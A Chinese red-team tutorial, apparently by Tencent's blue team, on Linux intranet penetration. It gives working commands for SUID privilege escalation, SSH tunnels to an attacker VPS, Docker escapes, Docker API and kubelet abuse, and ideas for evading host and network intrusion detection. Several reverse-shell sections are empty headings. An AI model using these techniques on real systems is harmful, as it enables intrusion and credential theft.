系列文章目录
文章目录
- 系列文章目录
- 一、Linux内网渗透
- 二、提权
-
- [2.1 利用内核漏洞进行提权](#2.1 利用内核漏洞进行提权)
- [2.2 利用文件权限配置不当进行提权](#2.2 利用文件权限配置不当进行提权)
- [2.3 利用SUID程序进行提权](#2.3 利用SUID程序进行提权)
- 三、隧道
-
- [3.1 SSH](#3.1 SSH)
- [3.2 nc/ncat](#3.2 nc/ncat)
- [3.3 portmap](#3.3 portmap)
- [3.4 portfw](#3.4 portfw)
- 四、反弹shell
-
- [4.1 bash](#4.1 bash)
- [4.2 netcat](#4.2 netcat)
- [4.3 php](#4.3 php)
- [4.4 perl](#4.4 perl)
- [4.5 python](#4.5 python)
- [4.6 ruby](#4.6 ruby)
- [4.7 telnet](#4.7 telnet)
- [4.8 openssl 加密](#4.8 openssl 加密)
- [4.9 完全交互式shell](#4.9 完全交互式shell)
- 五、登录态
-
- [5.1 tcpdump](#5.1 tcpdump)
- [5.2 网站文件](#5.2 网站文件)
- 六、云安全
-
- [6.1 docker](#6.1 docker)
-
- [6.1.1 判断是否是docker环境](#6.1.1 判断是否是docker环境)
- [6.1.2 逃逸](#6.1.2 逃逸)
-
- [6.1.2.1 特权容器](#6.1.2.1 特权容器)
- [6.1.2.2 Docker Socket](#6.1.2.2 Docker Socket)
- [6.1.2.3 脏牛](#6.1.2.3 脏牛)
- [6.1.3 未授权访问](#6.1.3 未授权访问)
- [6.2 kubernetes](#6.2 kubernetes)
-
- [6.2.1 API Server攻击](#6.2.1 API Server攻击)
- [6.2.2 kubelet 10250端口攻击](#6.2.2 kubelet 10250端口攻击)
- [6.2.3 etcd 2379端口攻击](#6.2.3 etcd 2379端口攻击)
- 七、IDS
-
- [7.1 HIDS](#7.1 HIDS)
- [7.2 NIDS](#7.2 NIDS)
- 八、工具化
- 总结
- 附录
一、Linux内网渗透
上篇内网渗透(附录1)主要讲的是Windows这块，最近知识星球"腾讯安平密友圈"提到了一个问题"为什么内网渗透偏向于Windows"，笔者也在下面进行了相关回复，除了传统的信息收集、弱口令以外，Linux内网渗透也有很多可玩性。
在服务器方面，Linux由于开源、稳定、灵活、社区支持等因素，市场占有率远比Windows大，并且广大业务逐步上云使用docker容器等原因，所以Linux渗透攻击也是蓝军极为常见和必备的技能。
本文将以蓝军攻击视角，介绍常用的Linux内网渗透的手法，包括提权、隧道、反弹shell、登录态、云安全和工具化，主要让大家了解内网渗透的手法和危害，以攻促防，希望能给安全建设带来帮助。
二、提权
Linux不像Windows有那么多的提权EXP，不会动不动就出现各种烂土豆系列，因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。
2.1 利用内核漏洞进行提权
脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞，恶意用户可以利用条件竞争获取ROOT权限。
这里以写文件的手段来演示下该漏洞利用方法。
本次漏洞环境如下：
根目录下存在test.txt：
普通用户只能查看而不能修改：
利用EXP成功写入文件到只读文件中：
附上该漏洞的POC集合地址：
笔者不太喜欢用此类EXP，包括Window上的溢出类漏洞，因为此类漏洞有可能会导致系统崩掉，对于客户环境、敏感系统还是慎用。
针对此类漏洞有些同学会有如下疑问：
Q：为什么我执行以后会卡死？
A：尝试使用反弹的方式，即交互式/半交互式的方法进行。
2.2 利用文件权限配置不当进行提权
当某个进程启动权限为ROOT，对应文件编辑权限为普通用户时，我们可以利用该问题点进行提权。
pspy(附录2)工具提供了普通用户权限即可监听进程信息，该工具原理很简单，循环遍历/proc下的值来获取进程参数信息：
如果我们设置hidepid，该工具就会失效，如：
mount -o remount,rw,hidepid=2 /proc
该工具就什么输出都不会有，或者只有问号：
这里我们使用pspy作为辅助演示(当没设置hidepid时)。
前期准备中，首先我们创建一个while循环，并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时，利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh：
尝试查看/tmp/1.sh文件内容和权限，发现我们当前用户具备读写权限：
我们尝试替换文件内容，查看是否会以ROOT权限启动其中命令：
发现成功提权，以ROOT权限启动自定义命令：
2.3 利用SUID程序进行提权
当程序运行需要高权限，但是用户不具备高权限时，这时则可以给文件设置SUID，使得用户在执行文件时将以文件所有者的权限来运行文件，而不是运行者本身权限。
首先/tmp/test存在如下文件：
正常执行结果如下：
当设置SUID时，执行结果如下：
chmod +s ./test
执行结果依然是当前用户，为何？
这是因为在高版本Linux(附录3)中，如果启动bash的的Effective UID与Real UID不相同，而且没有使用-p参数，则bash会将Effective UID还原成Real UID。即如果就算有S位，但没有使用-p参数，则最终执行的权限依然是当前用户的权限。
可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果：
#include<stdlib.h>
main()
{
setuid(0);
system("whoami > /tmp/test.txt");
}
我们可以使用如下命令来寻找服务器上设置了SUID的应用程序：
find / -perm -u=s -type f 2>/dev/null
下面列举几个常见的设置了SUID的应用程序提权手段。
nmap
nmap --interactive
!sh
find
find . -type f -exec /bin/bash ;
awk
awk 'BEGIN {system("/bin/bash")}'
strace
strace -o/dev/null /bin/bash
三、隧道
Linux上可以利用自带和第三方工具进行隧道开启，利用隧道，我们可以建立Socks连接、端口转发等操作。
3.1 SSH
Linux上耳熟能详的就是SSH了，我们来看下SSH常用的开启隧道的命令。
- 场景a：在控制A机器时，利用socks代理进入A机器所在内网
ssh -qTfnN -D 1111 root@AIP
输入A机器密码，本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。
- 场景b：如果控制A、B机器，A能够访问B，且能出网，B能够访问C，但不能出网，A不能访问C
A机器执行：
ssh -CNfg -L 2121:CIP:21 root@BIP
输入BIP机器密码，访问A机器的2121端口即是访问CIP的21端口。
- 场景c：控制A机器，A能够访问B
A机器执行：
ssh -CNfg -R 2121:BIP:21 root@hackervps
输入黑客VPS密码，访问黑客VPS的2121端口即是访问BIP的21端口。
3.2 nc/ncat
服务端执行监听命令：
ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open
客户端连接服务端的80端口即可SSH连接：
SSH root@serverip -p 80
3.3 portmap
服务端执行：
portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22
客户端连接服务端的80端口即可SSH连接：
SSH root@serverip -p 80
3.4 portfw
服务端执行：
tcpfwd 0.0.0.0:443 127.0.0.1:22
客户端连接服务端的443端口即可SSH连接：
SSH root@serverip -p 443
四、反弹shell
Linux上也存在一些自带命令/工具，来进行反弹shell得到一个(非)交互式shell。
下述命令中的yourip为攻击者监听的ip；yourport为攻击者监听的端口。
4.1 bash
4.2 netcat
4.3 php
4.4 perl
4.5 python
4.6 ruby
4.7 telnet
4.8 openssl 加密
服务端生成证书：
服务端监听：
受控端执行：
4.9 完全交互式shell
attack端执行：
victim端执行：
现在ctrl+c也不会退出：
五、登录态
现在越来越多的系统接入SSO、零信任，用户友好度提升了，但是也伴随了大量风险，比如如果单点故障了怎么办。其他安全风险呢？如果我们拿下其中一台可信服务器的权限，是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标？
5.1 tcpdump
tcpdump是一款网络抓包的程序，在SSO、零信任的场景中，我们可以利用它来获取用户的登录态、Cookie等敏感信息，然后利用这些信息去登录其他未做隔离的站点。
下面是抓取http数据包的命令示例
5.2 网站文件
除了使用抓包工具去进行敏感信息的抓取，我们还可以在网站本身去做一下手脚。
比如网站是php的，那我们可以在配置文件文件中，插入恶意代码，获取Cookie等信息，下面是代码示例
六、云安全
现在越来越多的业务开始上云，使用容器部署业务，那随之而来的也是对应的安全风险，包括不限于未授权访问、命令执行等漏洞。
6.1 docker
6.1.1 判断是否是docker环境
进程数很少，比如少于10
- 常见的命令却没有，如没有wget命令
- 存在/.dockerenv文件
- /proc/1/cgroup内包含"docker"字符
6.1.2 逃逸
逃逸是指我们在容器中逃逸到宿主机中。
6.1.2.1 特权容器
当容器是以特权启动时，docker将允许容器访问宿主机上的所有设备。
如下容器是进行特权启动(docker run --privileged)的，我们可以把宿主机磁盘挂载进容器里，然后进行相关的逃逸操作，包括不限于更改计划任务、文件。
fdisk -l|grep /dev/vda1
mkdir /test
mount /dev/vda1 /test
chroot /test
6.1.2.2 Docker Socket
/var/run/docker.sock文件是Docker守护进程默认监听的Unix域套接字，容器中的进程可以通过该文件与docker守护进程进行通信。
当攻击者可控的容器内挂载了该文件，我们也可以对其进行逃逸。
首先我们用如下命令创建一个特权测试容器：
比如我们控制了上述容器，并发现其挂载了docker.sock：
那么我们可以利用/var/run/docker.sock创建特权容器（附录5）：
最终发现逃逸成功：
6.1.2.3 脏牛
利用漏洞章节处的脏牛漏洞提权也可以达到逃逸目的，这里不重复演示。
POC地址：
6.1.3 未授权访问
当默认端口为2375的Docker Remote API对外未授权开放时，攻击者可以利用该漏洞进行getshell。
- a、未授权攻击测试过程：
获取所有images列表：
获取运行中的容器：
docker -H tcp://host:2375 ps
- b、getshell过程：
获取镜像:
docker -H tcp://host:2375 images
根据镜像创建容器，把宿主机根目录挂载到容器中：
docker -H tcp://host:2375 run -it -v /:/mnt/ image_id /bin/bash
创建容器后没自动进入容器的话，可以利用ps查看创建容器的CONTAINER ID：
docker -H tcp://host:2375 ps
然后进入容器:
docker -H tcp://host:2375 exec -it CONTAINERID sh
默认执行命令只能看到容器内的：
进入到挂载进来的磁盘中，并切换根目录，则可以看到宿主机进程：
chroot /mnt sh
因为挂载把宿主机根目录挂载到了容器中的/mnt目录中，就再次回到了上述逃逸的攻击手段了，其他就不再赘述。
6.2 kubernetes
kubernetes简称k8s，简单理解是拿来自动化部署容器、管理容器的框架。
6.2.1 API Server攻击
当我们获取到admin token时，可以操作API Server来控制集群。
也可以把admin token放置在~/.kube/config文件中，然后利用命令行工具进行后续操作：
6.2.2 kubelet 10250端口攻击
10250端口是kubelet API的HTTPS端口，该端口提供了pod和node的信息，如果该端口对外开放，攻击者可以利用公开api来获取敏感信息，甚至执行命令。
curl -k https://host:10250/pods
根据上述获取到的信息在容器中执行命令：
上述命令得到websocket地址，连接websocket得到命令结果：
当获取到admin token后，也可以利用该服务端口在pod中执行命令：
6.2.3 etcd 2379端口攻击
etcd中存放着k8s集群数据，如果可以成功访问该服务端口，则可以获取集群中的敏感信息，包括k8s secrets、admin token、AKID等。
七、IDS
本章介绍的IDS包括HIDS和NIDS。
7.1 HIDS
HIDS涉及到如何绕过服务器上的agent。
业务服务器上默认都部署了agent，如何绕过这些agent也是一个很大的学问。这些agent常常会hook execve来获取和判断执行的命令是否恶意。
这里有几个思路和大家一起讨论：
- 滞空LD_PRELOAD来绕过用户态的hook，busybox同理
- 利用代码来执行命令
- 利用ptrace进行日志混淆
- 关闭或致盲agent通信
7.2 NIDS
NIDS涉及到如何绕过网络设备进行扫描。
在内网渗透中，我们会使用nmap去做网络探测，而nmap自带的一些特征会导致被安全设备识别和拦截。因此我们需要对nmap做一些修改，比如更改nselib/http.lua，把nmap字样删除：
tcpip.cc更改windows窗口大小：
也可以利用ipv6进行绕过(附录6)。
也可以利用curl进行简单的探测，curl能获取banner信息：
八、工具化
当我们拿下跳板机/堡垒机此类服务器权限时，上面可用的命令少之又少，甚至连whoami都没有！因此我们需要编写一些适用的小工具来帮我们完成一些指定的工作，包括curl(附录7)、反弹shell：
总结
内网渗透博大精深，进入内网如何在不被发现的情况下快速获取目标权限也是重中之重，本系列的文章也只是抛砖引玉。腾讯蓝军也会持续和大家分享更多攻防知识，希望能够和大家共同成长，提高整体红蓝对抗水平。
文中涉及的技术信息，只限用于技术交流，切勿用于非法用途。欢迎探讨交流，行文仓促，不足之处，敬请不吝批评指正。
腾讯蓝军
腾讯蓝军（Tencent Force）由腾讯TEG安全平台部于2006年组建，十余年专注前沿安全攻防技术研究、实战演练、渗透测试、安全评估、培训赋能等，采用APT攻击者视角在真实网络环境开展实战演习，全方位检验安全防护策略、响应机制的充分性与有效性，最大程度发现业务系统的潜在安全风险，并推动优化提升，助力企业领先于攻击者，防患于未然。
附录
附录1 内网渗透-window内网渗透
附录2 pspy:
https://github.com/DominicBreuker/pspy
附录3 bash:
https://Linux.die.net/man/1/bash
附录4 setuid:
https://man7.org/linux/man-pages/man2/setuid.2.html
附录5 创建特权容器:
https://github.com/neargle/cloud_native_security_test_case
附录6 利用ipv6绕过ids:
https://security.tencent.com/index.php/blog/msg/147
附录7 curl: